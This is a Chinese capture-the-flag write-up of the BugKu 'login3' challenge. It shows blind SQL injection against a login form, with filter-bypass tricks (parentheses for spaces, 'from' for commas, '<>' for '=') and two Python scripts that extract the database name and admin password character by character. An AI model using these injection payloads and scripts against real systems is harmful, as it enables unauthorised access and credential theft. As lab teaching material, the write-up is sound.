BugKu--login3(SKCTF)

博客介绍了在登陆框进行SQL注入的过程。先用admin+万能密码尝试,确定用户名正确后开始注入。输入特定字符发现部分被过滤,介绍了括号绕过空格、逗号绕过、用<>绕过等于号等绕过过滤字符的方法,还写脚本爆数据库,最后爆出密码并解密,同时补充了ord()函数等知识点。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

看到一个登陆框 ,首先用admin+万能密码登陆,发现提示密码错误证明用户名是正确的。所以我们开始注入:
首先我们输入admin’:
在这里插入图片描述
输入admin‘#,提示密码错误,输入admin’ #,提示非法字符,一看就是过滤了空格,我们单独输入and、union、select、for、from,发现过滤了and、union、for字符。
接着我们就需要绕过过滤字符:

括号绕过空格:

如果空格被过滤,括号没有被过滤,可以用括号绕过。

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

逗号绕过(使用from或者offset):

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

等于号=:
用<>(不等于)绕过。

按照以上思路我们使用:
ascii(substr(database() from 1 for 1)),但是我们发现for也被过滤了。我们发现mysql用ascii的参数是一个字符串时,会只计算字符串第一位的ascii值。
在这里插入图片描述
如图所示,语句ascii(substr(database()from(1)))就可以输出数据库名第一位的ascii值

那么思路就很清晰了,根据输入admin’^(ascii(substr(database()from(数字1)))<>数字2)#,根据返回的信息,如果返回了”password error!” ,说明数字2就是数据库的第数字1位的ascii值,为什么这么说呢?admin用户存在,返回1。数字二等于数字一。后面的语句返回0,即1 ^0返回1。说明用户输入栏正确,所以返回password错误。
我们写脚本爆出数据库:

import requests

url = 'http://118.89.219.210:49167/index.php'
all_string = '''1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
database = ''
for i in range(1,11):
    for j in all_string:
        print('checking '+j)
        data = {
            'username':"admin'^(ascii(substr(database()from(%d)))<>%d)#"%(i,ord(j)),
            'password':'1',
            'submit':'Log In'
            }
        r = requests.post(url,data=data)
        if 'password error!' in r.text:
            database = database + j
            print('the '+str(i)+' place of database is '+j)
            break
    if j == 'M' and 'username does not exist!' in r.text:
        break
print(database)

在这里插入图片描述

本来按这个思路可以继续注表名的,但是发现information被过滤了,无奈,表和列名好像只能靠猜

看别人猜的表名为admin,列名为password,真是玄学…

那就直接爆password:
接着们爆出表:

import requests

url = 'http://123.206.31.85:49167/index.php'
all_string = '''1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
password = ''
for i in range(1,51):
    for j in all_string:
        print('checking '+j)
        data = {
            'username':"admin'^(ascii(substr((select(password)from(admin))from(%d)))<>%d)#"%(i,ord(j)),
            'password':'1',
            'submit':'Log In'
            }
        r = requests.post(url,data=data)
        if 'password error!' in r.text:
            password = password + j
            print('the '+str(i)+' place of password is '+j)
            break
    if j == 'M' and 'username does not exist!' in r.text:
        break
print(password)

我们可以看出爆出了密码,解密skctf123456。

在这里插入图片描述
补充一下知识点:
1.ord()函数主要用来返回对应字符的ascii码

 >>> ord("a")
 97
 >>> chr(97)
 > 'a

打印字符串

print (“His name is %s”%(“Aviad”))

效果:

在这里插入图片描述
打印整数

print (“He is %d years old”%(25))

效果:
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值